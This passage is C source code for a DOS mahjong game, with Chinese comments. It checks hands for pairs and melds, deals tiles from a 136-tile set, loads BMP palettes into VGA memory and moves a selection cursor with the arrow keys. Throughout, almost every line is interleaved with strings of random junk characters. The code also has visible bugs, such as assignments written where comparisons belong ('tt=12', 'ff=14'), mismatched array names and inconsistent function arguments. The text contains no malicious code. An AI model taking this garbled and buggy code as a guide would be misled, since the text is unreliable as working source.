' N8 I) Z* D, G" H, b+ h{test[j]=pt[i+j]; " T9 D4 w& U5 D, s/ ?' V
}. J) m: y8 L7 [9 ?& ]
if(istwo(test)): U; W9 b, j4 B5 L
{ ill=0;. w/ a+ I6 Z8 ?' w
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/  B2 R9 d2 o4 n: F
{if(kl==i)! O, H1 D& W, J
{3 v& V  Q6 B8 ]3 Y, x/ `/ S
kl=kl+2;3 [" M& i. K/ d+ G
if(kl==8)
+ H9 _( I5 ~0 s# A* ?break;/ l$ v& C* K) n$ N& e$ V
}
+ ?3 X+ z; L! y; ]& P5 Q0 p( ptest[ill++]=pt[kl];7 W: m- o9 p/ x8 l( t
}
: v* f6 H: E$ m2 s5 ?8 m! u2 @isthree(test,tt-2);
' J3 H" t( W* J- W}
! m5 l0 {0 c4 V( E2 F}
, a0 {, p& v# E! s2 h* Q2 kelse if(tt==9)
: R8 H( s  ]0 U: x4 |isthree(pt,tt);: b4 D9 r% O( \& i) j
else if(tt==11)
9 e  [1 c; q* e* T# j0 ]for(i=0;i&lt;10;i++): A! }/ U3 p  d# Y4 M
{, L) n3 d# B1 m9 I
for(j=0;j&lt;2;j++)
4 V) E% W; x8 m. C: }: n+ g{test[j]=pt[i+j]; 4 }# U, `2 |3 e
}
; G  V, t  m' W* dif(istwo(test))
3 M' O' ~  d" M, y+ B{ ill=0;
* \* h# E+ m' J' A" w! Nfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% |. d0 b  ~3 @8 r
{if(kl==i)
8 Q; x% S; ?* w8 r. r) K{2 e% Y0 @- S8 c& J
kl=kl+2;; J0 G0 C: o1 x, _0 @9 S' j0 {
if(kl==11)
* b+ i: {: F8 mbreak;5 k+ v( j8 R; e) A7 g. \( N
}- X7 l9 z; x3 G; K0 N$ E& X2 E# \
test[ill++]=pt[kl];' D2 T% \/ s/ V* G7 p
}
% x8 H* n' W' A# x$ a4 D& ]: u% V3 [3 Eisthree(test,tt-2); 7 v# b+ {4 c/ H/ ?: x. g5 Q
}
, X2 q. r0 a+ G4 r7 ]# Q}
+ M7 V4 t7 [* r$ V  M7 E) m5 yelse if(tt=12); Q' Z" }! T% R& T9 O/ ]  }
isthree(pt,tt);
2 u6 n* z. z7 R2 Aelse if(tt=14)
, X2 U' v+ x( w2 lfor(i=0;i&lt;13;i++)- l; G! Y2 G! s0 I% B
{/ B( V$ d! L3 O
for(j=0;j&lt;2;j++)
/ j+ e* e7 U4 @{test[j]=pt[i+j]; 9 h1 l2 b0 J$ d+ a2 p
}
. x2 V3 ~, l# m! r7 H( v- N. Oif(istwo(test))3 N- _! N. y4 C
{ ill=0;
* T' A5 Q) |( v8 B: X$ Afor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: I5 n9 B6 u1 ?! \6 L* e{if(kl==i)4 s/ U3 V' ~+ I0 g
{/ {& K* x1 U, c  I$ ~
kl=kl+2;
( N* A3 Q9 F% q, {if(kl==14)" z6 B* x; b+ t& t2 a8 D$ c
break;( ^  [7 Y! D% J6 T, l7 o: x0 D
}; `6 ?; Z2 g2 ?0 R: u
test[ill++]=pt[kl];
: o# \; \$ a, p5 U; h}- u: ~7 K) Q9 ~
isthree(test,tt-2); " B/ R; n' ?" o* S# N+ ?
}
7 u: o) n. ]9 H% f4 ^* e0 |}
+ F( ^/ B7 G# w5 Y0 p9 C1 P! kif(ii==2)
' k2 @! \3 s% q  C8 y/ ]4 Aistwo(pi);
$ Y! A+ t8 B- c, ~+ felse if(ii==3)/ {  y" k( H0 B2 d4 |5 W6 g
isthree(pi,ii);9 ?7 d' E& d9 S9 i
else if(ii==5)
! i2 X' b  y: \; K' }1 Z  i! C' G/*pi[5]原始牌数组,假设已经升序排列*/. m! y2 J; H) T: G; M
/*test[3]用来放置测试牌的数组*/2 G3 q2 O) t7 i3 O
for(i=0;i&lt;4;i++)
+ h* U* Q. R: z# I. m% l{# V! I: J) E- U6 a
for(j=0;j&lt;2;j++)
9 O, x7 W; ~$ D. J5 y- ?{test[j]=pi[i+j]; . P) g: A  v0 g0 d3 O5 w
}% H) K9 C6 J+ q. Y# V. Q1 g1 l/ g
if(istwo(test))
& F! F" n, A; V{ ill=0;. v& \/ E8 E9 T) H4 Z* x2 M
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 U3 E$ b7 Z) t6 [4 w) K
{if(kl==i)
! s3 l6 q1 I+ N0 [# z( r, D6 D{# L0 }  D6 {% V. b
kl=kl+2;, F3 f! G8 c# j) Q
if(kl==5)
" U: S  O* Y/ p; i2 T8 h7 d& sbreak;3 j7 ^2 [$ N7 m8 b& |' x2 {
}
( Y% i  f" A& g+ B9 m2 _/ m$ S; jtest[ill++]=pw[kl];" v) M' R4 e1 Z$ t& p$ j
}: H9 L" O8 o, t; z7 s2 z
isthree(test);
) b& l2 _* f2 |}! y& [4 J- |; j" f6 R, h# ]7 Q
}
& M+ x' p" S1 b1 F9 Welse if(ii==6)
( o" F  F( p! zisthree(pi,ii); * Q$ |3 _' g  K5 Q& I
else if(ii==8)" v" C7 p; Y8 [+ b5 f" {
for(i=0;i&lt;7;i++)7 J- I, i& y5 m( a/ f1 Z  g- d
{
, `3 S+ J( c0 v) F2 O) a9 {/ `4 a: gfor(j=0;j&lt;2;j++)7 w$ Q, ], D- C5 Q+ x
{test[j]=pi[i+j]; - g, u( A. t* `' ]  O$ g
}
) W0 @, [  v+ ?' N0 c- rif(istwo(test))
. Q/ K/ g1 O* ?  a{ ill=0;1 G4 ~6 p2 }# ]& C0 f" W
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
* r5 n9 y# J8 R; `, \& V{if(kl==i)! d7 z% v7 y% \5 y& a& v
{
9 `. L* X9 Z6 Bkl=kl+2;  \9 u- k/ F* r" F, ?
if(kl==8)0 D) S1 B* f, }' o
break;$ q+ P) R1 J! D1 t9 W
}; I4 o' A% U# \! z* W
test[ill++]=pi[kl];: y7 ~6 W& m9 I8 N9 s" u
}
+ c6 d" J) y2 w! F' I6 c) W& c; _isthree(test,ii-2);8 u* {! N: \4 H2 c  s1 z
}
, _7 R8 m; h# W} # i% ?) D$ T! Z& w: b4 L; J3 D
else if(ii==9)
% f5 k' U3 P8 l0 \/ Q+ b; f7 pisthree(pi,ii);) u) [: E2 v3 E# z2 W' x
else if(ii==11)' c+ N& q0 J; F* b. Y8 L
for(i=0;i&lt;10;i++)7 n: }, ?0 p$ n6 w, R
{
, l" m" L6 w7 }1 D: b) L! Ffor(j=0;j&lt;2;j++)
8 U4 e% `6 E6 U4 Q{test[j]=pi[i+j]; 6 @: V( P% h" J3 o, o
}
- _( ~' h9 V8 k* O2 P4 [5 l7 H- r0 zif(istwo(test))! N0 N5 [7 c9 ~3 h( i
{ ill=0;
' `  l% h5 n1 Z/ q! Cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. t, u4 d9 d5 W! @( g
{if(kl==i)' c2 j3 e8 S0 J, O
{
1 q  v8 r; L4 l* m4 zkl=kl+2;
% d- j" ?* V& J- J2 K: \  H; sif(kl==11)4 i# F, j& h8 t
break;, x; ~4 r/ ?' [  [7 P' G
}
) W% S7 e/ d$ D2 t: s8 }# Otest[ill++]=pi[kl];
) ?. `# S# {0 p% X2 \% v9 F- O}
) Z2 Q( P* m, \6 aisthree(test,ii-2); 9 t0 F- W8 I* Q4 n+ Q% ^8 D* f7 b. K/ _
}* \1 S: U" |0 F( T
}
+ K$ S! F3 j2 V3 L+ J+ x' Relse if(ii=12)
: p' W! i3 b: T# oisthree(pi,ii);
+ ~* t! x8 R. z, H' T* b9 u! `7 r: `else if(ii=14): {& \! T3 F$ Y& F/ Y& r; V
for(i=0;i&lt;13;i++)# l) h4 ^0 s4 ?8 x) K8 Z
{
; `7 q0 V! p1 B) X. O3 w( c1 |3 K- D1 P! }for(j=0;j&lt;2;j++)) @9 D. T/ M8 m; A
{test[j]=pi[i+j]; 3 V- u  s  o# }( h7 m6 K
}
  M- g1 [6 a9 l" t# ~; |, l  F- k  wif(istwo(test))5 D! e( Z$ @$ L7 M4 Q) T
{ ill=0;
' e/ p1 b( I5 X' N6 C( X/ Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" n( R/ ^6 v1 K( ^" Y9 r# |  G1 |{if(kl==i)& f  r2 m" H! X% S
{
6 {8 H0 n3 h0 B' l8 e6 Ekl=kl+2;2 q! ]5 j/ {  h
if(kl==14)
1 H! O% z+ F" D, ~2 [break;* y& A7 `/ m5 h3 x  E( b  }
}7 w6 s5 X3 g  E5 A2 h! B) Y
test[ill++]=pi[kl];
: k! }% T; M2 z4 y- A: J3 Q}2 p4 x5 X) n6 U
isthree(test,ii-2);
2 h& z2 l. }4 m1 p' {}4 F& E  ]8 _3 ?- ]; \3 F
}
$ E8 B& L2 T1 |2 S/ U# Sif(ff==2). Y( F0 S+ Z& Q' Z+ S. C8 ^
istwo(pf);
- L2 @; V3 V$ |9 }( Delse if(ff==3)( k% E* y5 ]$ l9 u
isthree(pf,ff);' J( X; a% s) N/ ]. r" o- c2 [
else if(ff==5)
; r' _/ e# T! v& ]- Y9 g! l/*pf[5]原始牌数组,假设已经升序排列*// R( W& Y/ ^; M8 j
/*test[3]用来放置测试牌的数组*/
9 _- A! i9 R6 f8 bfor(i=0;i&lt;4;i++)
6 z6 G: l8 f2 Z9 `8 i5 F4 L{
, T/ \% X" f1 T6 }" H' {for(j=0;j&lt;2;j++)
5 e& I  W" p5 x( m$ W$ p/ b5 x! u{test[j]=pf[i+j];
- O& _! i. e( {+ d- a3 A1 k3 n}" B( q' Y8 ~: L9 `2 e5 \) `$ T
if(istwo(test))
9 ~! ]+ N/ E8 v% ^{ ill=0;/ j: `- k8 P/ @+ `8 s
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
& B+ _! @! B' {, q{if(kl==i)- @6 X1 E2 P* a
{
/ H* M. ]2 Z: p- J3 x  {kl=kl+2;- y9 p0 x9 I! W( |9 a' O" T
if(kl==5)8 N4 R+ u3 c+ V* u7 }
break;: f3 V5 S( k# b5 @/ D
}
7 B+ k  ~9 N& @4 Z# \9 }test[ill++]=pf[kl];
3 A- |; D2 }+ S7 `$ P+ U& c; B}$ d2 X- z! x6 v9 }( S  x1 r4 @
isthree(test);5 w) c/ X& e; D+ P6 K* B3 }7 ]) `; y- P
}
5 W/ M4 f, F- E2 P, k* j}
7 T& N" |- `  f) \# w* Zelse if(ff==6)
. ~' n' _: B& n, ^# P# fisthree(pf,ff);
, {3 u4 k& z  Y+ O$ |3 m1 Melse if(ff==8)
( W( _. _: T9 J' K( bfor(i=0;i&lt;7;i++)  J, @6 s* ]2 }, |
{% _) ?0 x2 {% Y
for(j=0;j&lt;2;j++)* ^' f9 t# V+ c6 S0 l5 J, l
{test[j]=pf[i+j]; 3 [% n7 W# F9 V4 v7 p
}  T# P  @% W0 \& C" p
if(istwo(test))  I. f2 I4 C' W4 F! H& F. K9 r
{ ill=0;
$ P0 v2 N3 t! ]0 L9 s* wfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
6 q% w0 j! p) g# I; D) g{if(kl==i); p6 G$ ?* e  L. k, n$ L; I9 t
{
* i, H; H" e. N. O5 mkl=kl+2;3 S% Q; J1 \$ g4 m, A
if(kl==8)
4 K" L2 M) K  H1 L1 mbreak;
0 g/ O8 R- s" Q- _6 }, @# j  j* i}
( x" F: `% u* I$ ~9 w7 atest[ill++]=pf[kl];
& q# d% b! I( s8 ]; |}3 n. y! b% y  Q, t
isthree(test,ff-2); . e* c( w+ q4 h: S& f# O# r  {
}
( |; a7 u  V3 h7 v% [, ^* o( B}
/ H$ t" l! d% u) q' \3 S8 r. Zelse if(ff==9)
9 |) s  Z, G. D3 a' C& }isthree(pw,ww);
; }5 j. k& H- S2 Melse if(ff==11)( C5 _4 u) v9 _/ z
for(i=0;i&lt;10;i++)
' t% _2 L  _1 B: c5 p9 i{
% v$ w: @) ?! j8 T7 {# V* ~( g4 R8 mfor(j=0;j&lt;2;j++)
6 Y5 ]( r3 {, T$ `9 K6 H% [5 `{test[j]=pf[i+j];
# ]& _. F3 n1 b}
2 ~5 e0 u- z* Z0 mif(istwo(test))
. X: ?3 e, s" U# D2 E( {/ J9 G{ ill=0;
& d  D$ c8 g5 F, y6 X. ~7 Rfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, W9 H0 o- J; C* b0 a{if(kl==i)) A. d, H1 D. E( `4 a3 ]
{% j: a% i; o2 M" o; K: Z
kl=kl+2;- U* m7 D$ f* ]
if(kl==11)
* T! o% i6 K- K0 B* ebreak;
1 E) d! [- R7 o- S# d0 c}
8 E) S) }+ a7 A# gtest[ill++]=pf[kl];; d, T! z' d8 {# l
}2 Q2 P' D& }" C
isthree(test,ff-2);
8 Y! p% \2 ~( D% h3 E0 H6 a}) ^- O1 p/ {# _* A4 z
}
: @; v2 \+ O) K' k. jelse if(ff=12)! D) r! M0 O6 l$ c. S. c$ W
isthree(pf,ff);" s" }( X9 f+ \7 H' P% S) Y: f
else if(ff=14)
6 x) a1 G, r& U5 B) ]- F5 ~for(i=0;i&lt;13;i++)
1 u, g8 r: Q, p2 A' K' R{  w* ^8 g! I1 d/ a
for(j=0;j&lt;2;j++)/ L, N8 d4 f5 e9 C/ ]* p
{test[j]=pf[i+j];
; ?$ s3 r8 D1 x4 Z}
! F" @# Y) c: P: v0 h8 Kif(istwo(test))
- F# d# c: R2 P7 v{ ill=0;1 T% P) p6 j3 y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. s9 c$ L. u' x9 p9 j1 {5 J
{if(kl==i)
0 c* N& N4 y9 e: V; S( A{- i- @% H* F0 ~' x' R& s
kl=kl+2;$ ?6 H( `# S" N3 P- a; Z2 B- C
if(kl==14)
" K/ `/ D) N* J% z: o: W1 `) Dbreak;
# J! o0 V$ F+ p) `2 \( N}
7 z2 O! s; a. ^4 t4 g. Atest[ill++]=pf[kl];
; u; n6 g* X; L( u6 }) Y" P}) @7 f: E: I: I* x: i
isthree(test,ff-2);
' @" j& ^* N) s( E5 u# @}
, D8 H8 g2 Y" I, w; V3 f8 ?3 C}
" q3 z3 z$ l$ A1 D1 V}: Z* E0 s+ L# _$ H2 I  |
void main(void)6 k# Q2 z" ^9 f5 w
{3 B  O6 `5 I$ \  A5 B# F
FILE *bmp;2 e, C& Q) I1 G
static char *name[2]={"ff.bmp","logo.bmp"};7 E4 U. k3 l) G, s. I  w
char *p;9 A6 N; M9 S! F) b' S0 d
int *lingshi;
' M* g. h1 \' a! Z+ f: `/ }2 M/ m# {int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;. ]2 w5 y3 g0 Z! m: c1 p7 X
int every=0,w=0,x1,x2,y1,y2,every1=0;
5 L0 x( A& z4 Z/ y: Lint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
1 Z5 N7 K2 f" X6 z+ }- L" oBYTE palette[256][3];
( V* a, J6 {: e! z6 `- xSETVGA;
6 |% O* F7 b9 T3 Egetch();
, A0 F, i/ |; J" u1 D  G# }while(t--)
" e; d0 L" a7 Z9 M5 N+ E{: C/ {# x" ]0 X
bmp=fopen(name[t],"rb");, \) q3 X0 i/ O+ d) s2 `7 w
fseek(bmp,54,SEEK_SET);
& V1 v+ l% N; @for(i=0;i&lt;256;i++)
( ~/ q( R! m6 t+ R{
+ y/ ~7 A0 R1 z2 M. Cpalette[2]=fgetc(bmp)&gt;&gt;2;
* h1 y2 Y9 @/ g/ Q4 k9 v9 Qpalette[1]=fgetc(bmp)&gt;&gt;2;
9 ^+ }  `$ b7 N* hpalette[0]=fgetc(bmp)&gt;&gt;2;. E: K9 w0 o7 l- S, y
fgetc(bmp);
4 {! U: g. N# KSet_Palette(i,palette[0],palette[1],palette[2]);1 R5 P  q! `9 F+ F
}: y  A, i* y4 A. M- ^5 g
for (y=0;y&lt;200;y++)
0 d- _6 r! I3 l- Q5 {1 l0 q2 M  \for(x=0;x&lt;320;x++)
9 Q0 G7 F4 F- L) H/ s/ Xpokeb(0xa000,y*320+x,fgetc(bmp));
7 {# ]. I8 \+ lfclose(bmp);1 [$ O: L  b+ l
getch();0 `8 _0 Y  V* u8 F2 I( {
}7 N# z9 S) X6 P7 e, f: `8 [/ s
getch();4 S, L; w9 E$ }9 a! |' _
fillRectangle(0,0,320,200,0);5 H3 z! S6 }% c2 x9 ~- N% o
getch();
( y$ H: S# u. ^. O9 Srandomize();
) o, Y& d  F! I: qme.m=onetothirteen;$ G/ T' W5 P# B
while(me.m&gt;0) /*先循环,给自己拿牌*/
5 _1 W, c/ f) m# B{
0 V% p5 z, K: L1 p5 ]4 L5 W
3 \1 Q% m# n; A2 `: O' h# utemp=random(136);
* T' b! n$ q5 J8 M9 nif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)+ o7 [5 l* p* B: W) c. Y: q
{
+ ~  R2 J' r0 ^/ P0 Qme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
/ Y8 Z( L9 H8 ^2 I2 s4 pme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
' G  Z  ?5 F+ C/ ume.pp[n].number=temp; /*第几张,用来排序*/
, I4 F- ~4 l" o0 Xm[temp].data2=1; /*判断牌是谁的*/
- o  t2 I' ^; jkk=1;: ^1 ~1 J! m1 H9 T& {: L5 |
}6 T$ k# v: {& L6 |) A) m
if(kk==0) /*判断如果又选择了,就从新再选*/
; G5 j6 ]: N! G% {' I{
) N7 P: Z8 a: M/ l' Eme.m++;9 _* t: ?- k& a% C2 l) B4 l9 y
n--;8 G4 D/ l/ Y7 ~* V
}4 Q* `% O' l4 e0 k# T  `3 S/ K
me.m--;
/ B3 ]/ I$ F1 k3 K# d6 Kn++;
" N* h% @3 O& D  F; X0 J# Ckk=0;
, |6 b, {9 x( E* }}
# K; J: U& d9 i# n* z" f# s' O. kme.m=12;$ J/ U! L8 d0 ~$ w; n- z( F& u* q
melipai(); /*理牌*/
. |$ \7 Z) q. \  n: G- s1 t5 c1 [% [' N( M" e" J
n=13;9 |: |' R! x/ [9 N( U, I) b
while(l&lt;n)$ I) S( @; O4 ?
{
4 E! C) d4 z9 w' k4 S; B; Zz=z+20;' G: R/ G6 R& ~6 q
showbmp(l);6 T) |5 J- ?! c- [5 {; Y: L
l++;; W, ?% }  W; }8 }

1 ~' P/ v6 c, W2 j}$ K+ S. d/ }+ K5 s; B6 K
randomize();# p' Y9 K+ D" b6 @2 o
computer.m=oneorthirteen;3 h% n0 F6 b. m
n=0;( n- S/ \( w" L! [# t! A7 c0 I
while(computer.m&gt;0) /*循环,给对方拿牌*/
% }' k; c# H( j% `5 o5 x{
9 R+ n( H0 A" n/ ]' r- ftemp=random(136);, `# v1 _# Y* f) Q4 V
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)7 K9 a. K& ^' g4 [5 _! m0 A
{) e& N9 E& V& N4 K9 G
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/& a; s' x2 j( v1 Y7 r
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
) T* f# G, e' L( H) B  c/ A: Mcomputer.pp[n].number=temp; /*第几张,用来排序*/* N! H* W! C: l6 ]" H4 c
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
; i; j+ f; r3 T/ u7 j) zkk=1;1 U' g7 B3 C$ r& G
}
* U9 {+ _! e; H2 l$ T. p# i3 kif(kk==0) /*判断如果又选择了,就从新再选*/
* I0 n  @! @4 K: l2 V% d{
2 ]; y* e, e4 d" Z! s0 acomputer.m++;  K, s9 Z$ y' r! \8 P$ [/ T# K
n--;2 l/ r7 p' ^8 I! U
}
* h  V+ `3 P5 t8 J; jcomputer.m--;$ ?( `8 |8 [( H7 ^% A7 T2 W
n++;  K, ^1 c* A4 }* ~9 U; A7 n; m
kk=0;
( d9 ~5 M0 t- g' @! Q, y}2 {0 U+ q. A% ]! E& b& N3 z+ ~
computer.m=12;( v7 W4 ^9 H5 S+ R2 j- C3 y
comlipai(); /*电脑理牌*/1 h4 F1 a* a4 C( P/ A: s4 j* |
n=13;$ U! ~' `' s9 B# p3 b( c0 U
while(ll&lt;n)
& t% G8 A& F) G. t8 R{
2 u! s* s* c& c) e$ g, m0 Ezy=zy+20;! F. O& h# [, q* h& ?! w
showybmp(ll);
& P7 C$ }, z& I: y+ z  M0 Jll++;
! d$ b$ _8 l/ _( Z/ ^( H  ]- H}
" Y- M4 b  x" t, p3 \$ o: R5 ?  g& `
z=54400;  S* G- u6 D9 A  v" {
while(key!=ESC), ]2 h5 i5 h& D
{
# ?7 n; ]) E& {5 U/ I- p, {- o; `+ `# R* d# g
keyy=bioskey(0);% S! Y  k' e9 E% V* A
if(keyy==LEFT) 8 y/ Q! H0 }7 `9 P9 @* v
{ w=1;
5 J$ _2 d( E6 Hif(every==0)
; U" ]" K% H* s  J' f" N{
% l3 ]+ i# E) Tevery=1;' Q) Q4 w# j1 w/ t. V' ^& j
z=54440-5*320;4 y8 \9 \4 N2 H7 ^* s
- o8 V0 _) g( g; ]' c
}  D- n, b1 f' G8 ^. F5 g
zz=zz+5*320;
0 i% h: w3 X! d1 {9 S5 Eshowbmp(every);
$ m6 m0 B3 o) e- N$ ~if(every==0)
. s+ x1 h' _& w3 q{
: d2 {/ V" _/ dx1=20;
: ~" @/ D  {8 c+ x4 J$ S7 J3 y' X; My1=165;* u+ V3 i5 w7 |( _9 K
fillRectangle(x1,y1,x1+20,y1+4,0);
+ u% I1 L# Y9 ~& h6 E& A}
9 e0 F9 r+ D2 q  Jif(every==1)4 r+ Z4 a$ V/ o4 U' a+ q
{  b" a! \% e& Q7 w# h7 r6 j* Q& [
x1=40;
" W/ d$ h# Y0 x/ D$ Q& v( gy1=165;2 n' h/ u& @% ?0 \
fillRectangle(x1,y1,x1+20,y1+4,0);4 M; s9 Y1 J( R7 O6 w: Y$ l
}
( K, U5 g7 w7 A5 ]if(every==2)
( v5 d7 o: ^8 c$ [6 n. x0 {+ S{7 |! N' E. Z) }9 L
x1=60;
. F8 f0 g1 L3 m5 zy1=165;% H- k; ^' \# b  L4 J  S0 v
fillRectangle(x1,y1,x1+20,y1+4,0);2 @, v5 b3 X" y( e1 f' b
}2 `' d1 s% q! v1 }/ A9 C
if(every==3)
% D3 L% t, H- c* l: p{
/ F# s6 o( z  I* Z# c" z( T; m" ax1=80;
' v7 m9 `" K! P9 J3 d& {y1=165;
/ Z6 y$ H  `8 E( Y/ o7 O1 DfillRectangle(x1,y1,x1+20,y1+4,0);
7 O) v0 G! e& P9 j) Z8 y9 v% h}5 g8 V9 H% a* F$ `4 |- ^, t
if(every==4)
" x7 x) r" I+ t  D$ D{7 V, U+ l. G8 O) I
x1=100;, D, g6 }1 U3 k
y1=165;
% h" F  x* b! @0 L3 sfillRectangle(x1,y1,x1+20,y1+4,0);7 ~/ q: ?4 B2 [. q$ n
}
" c$ \# v, k9 g5 X" J* fif(every==5)" G/ X- F# m& c4 o2 [0 I
{
+ g# k8 l( q$ j8 O  Tx1=120;
) A8 A4 d$ B; N! ky1=165;
' c% Q! @+ D/ {7 \3 HfillRectangle(x1,y1,x1+20,y1+4,0);0 L- g7 g( v. I/ Y& B
}  f) \( Q$ e1 b* a9 y2 Z
if(every==6). x* ?# i. A  q
{5 u9 l$ I0 U5 u% f6 f
x1=140;
+ D4 T: R+ W' o$ T2 ny1=165;' N- q  r0 k4 l! h/ C% g. w/ r+ a
fillRectangle(x1,y1,x1+20,y1+4,0);
$ u6 U7 L! G. S}8 l" B( O& o/ v
if(every==7)# I: @7 a& o. k' E
{- a! M  a7 T3 ~, b* r, a' p, b
x1=160;
$ W' E8 A1 G7 }# q4 ]y1=165;
% z; f8 u; H6 _1 e, qfillRectangle(x1,y1,x1+20,y1+4,0);1 t! I) W' n" L" m+ u0 G
}
+ w( A/ q2 s- m& jif(every==8)
6 E! K# z$ N9 B( L{& b% m! K4 o/ r0 T' p+ {
x1=180;
6 l" L6 \7 ^. n/ m, m. Jy1=165;
. Z& ?  ?2 h& `: i" O$ pfillRectangle(x1,y1,x1+20,y1+4,0);
2 O* K8 X* d# R" h, H) ~}2 i; R; ~* }) T( l" m) o
if(every==9)/ s4 ]  E5 y& s' ?# w# m  t
{% P( I7 [% S) k0 G* S
x1=200;' `0 R. s( W1 {
y1=165;3 A2 C7 k: U' K" {( I; A
fillRectangle(x1,y1,x1+20,y1+4,0);
/ j) B3 W4 T# D  \! k" F}+ B$ k' n/ N8 ~, w5 C4 r. a
if(every==10)2 X4 B  P2 }, i. Y+ h
{
2 L9 C& e2 B' `6 u, a5 cx1=220;
) b* @3 A. l: m- w7 `y1=165;4 K! |4 A0 h9 t# e- }
fillRectangle(x1,y1,x1+20,y1+4,0);5 F" }. Z4 W/ R# B+ m. \$ L
}' h/ W& n" ]% l5 B, y% w
if(every==11)$ d. I7 z* {' G8 E! j' c
{% g6 k, F+ u3 B, N# ^
x1=240;
) W( R& f4 j1 J8 Ay1=165;" V1 ?+ K) Q1 e" ?% h9 i7 r3 O
fillRectangle(x1,y1,x1+20,y1+4,0);
$ M$ D7 }( |) j' p}6 q( i" V5 r% ]8 b7 ~. s: ~
if(every==12)
- @+ P+ ~- x  C" M4 |6 k{4 b6 ~$ e7 f( x7 V: R2 K# G4 _& d7 D2 {
x1=260;
8 \0 W/ F( H, B+ }9 r0 iy1=165;
2 f* h5 Y" G  c$ x5 {8 tfillRectangle(x1,y1,x1+20,y1+4,0);- }( ?5 J+ D3 o& G2 N! R1 q) s
}+ h. p  N6 }! Q9 F' T
zz=0;
. l4 `: N! T# S9 y$ |" L1 V1 S& z5 u6 G8 Tevery--;' h5 R  G4 X7 f
z=z-20;; f+ \. C1 _6 B, ?6 a) @- i
}
' a+ Y1 U, @0 p* a9 Lif(keyy==RIGHT). b- i. n" F+ o8 r! J! i' P
{ if(w==0); \7 h5 W# `% Q6 x
{
9 q$ B: A8 I7 a1 dz=54440-5*320;
+ V4 Z3 k  A3 H9 @8 E7 lz=z-20;
2 I. M& \4 N1 Tw=1;, S# _9 ]: O+ F8 a9 a
}! ]* ]  \$ P7 B6 e% w
if(every==12) 9 G% r4 O: q/ x0 k* f: x
{
+ `2 z- Q4 o$ K- `every=11;8 G: K- a' A8 H7 `
z=54640-5*320;
/ D* Y6 m  [4 ]8 F% m) Z}
+ m& E7 v3 x- h$ Ezz=zz+5*320;' U! C; {- n& W* T" v
showbmp(every);& L' l0 J3 I' L, S! g' J. R
if(every==0)1 {$ n! E% ~- E
{% ^7 H# w& b$ R, N, d1 m
x1=20;8 ]1 i4 N' k3 K4 h/ G  ]
y1=165;
0 H2 }; }% n3 D* g9 X& A" OfillRectangle(x1,y1,x1+20,y1+4,0);) o0 O* S' |7 G( n
}
+ |# @2 `0 L4 p2 h- [8 B5 oif(every==1)
; I+ c5 B2 w0 I{
- H, u( _5 ]/ d5 E8 Cx1=40;
7 \3 y1 i% e$ X- l. ~/ J1 Sy1=165;
6 h! q8 X1 \0 WfillRectangle(x1,y1,x1+20,y1+4,0);
4 i& b1 ~' H$ q# Y; X}
' W% _7 S1 U  C! Z$ [6 Hif(every==2)
# Z: L( Z( f0 V2 Q& r: u1 v$ W{
6 Y) q$ W5 Q% Jx1=60;4 c5 w* F; J9 Q* F) y
y1=165;
9 @( U  _+ r3 T6 @fillRectangle(x1,y1,x1+20,y1+4,0);
+ R1 w# ?/ S" [" o; v+ R  A}
, Y0 _* a. L0 B. x! F3 Fif(every==3)
1 h1 n. j. `% |+ W! |( O# p{. d1 E" y+ C* q1 n% o, W
x1=80;
+ G0 F. L/ |: Yy1=165;4 r1 T0 a. L8 q5 A( A1 C
fillRectangle(x1,y1,x1+20,y1+4,0);; H$ a" {% ?6 b" P) O! c- X
}
1 u0 k  |9 U2 N' V# \if(every==4)
) o. u! Q" l1 @- d; t$ G* Z/ a{4 c; j  A3 b0 N  ^/ l
x1=100;
6 [" r/ ]* `5 y7 ]2 Sy1=165;
( S! D- L4 S& z* o7 d7 KfillRectangle(x1,y1,x1+20,y1+4,0);2 `) p- k6 F+ U2 K: G( D
}( ]- K& e) R$ y" D4 V
if(every==5)
$ P: _4 i) `# K/ o: H8 e{
" N; q2 v/ S+ Ix1=120;
' ?0 U/ {6 E/ V0 I3 @, }y1=165;) U9 d/ N1 K5 `' m( [
fillRectangle(x1,y1,x1+20,y1+4,0);* i+ H6 N& n& k6 ^' Q+ s+ B$ L
}
, X0 C" w/ `% U$ X% K. x8 d* Sif(every==6)8 G" A4 S+ H1 @7 @" R/ y5 }( o5 @3 y
{0 X' ]6 y3 [1 Y: a
x1=140;
) I/ N# e% Y3 }0 x% w) ty1=165;) |% c5 C) ]$ ?0 x8 \
fillRectangle(x1,y1,x1+20,y1+4,0);" M- o$ h7 S0 V. m
}6 D* ?7 B+ R  S/ k( X4 J
if(every==7)" ?1 t/ O) a6 @9 v9 O9 P
{8 b: |6 I$ K, t
x1=160;( \5 k: e' R5 [4 N. j4 z2 H
y1=165;
, u) i$ w( Y* O- J6 UfillRectangle(x1,y1,x1+20,y1+4,0);
& c' l) {1 \5 F6 l& ^}
; [# t7 N) M( r' P6 B$ Gif(every==8)
; l8 {; B# c+ q{3 ?. e: x& o3 {7 r9 Z
x1=180;
: ^; a* }7 S  X) qy1=165;
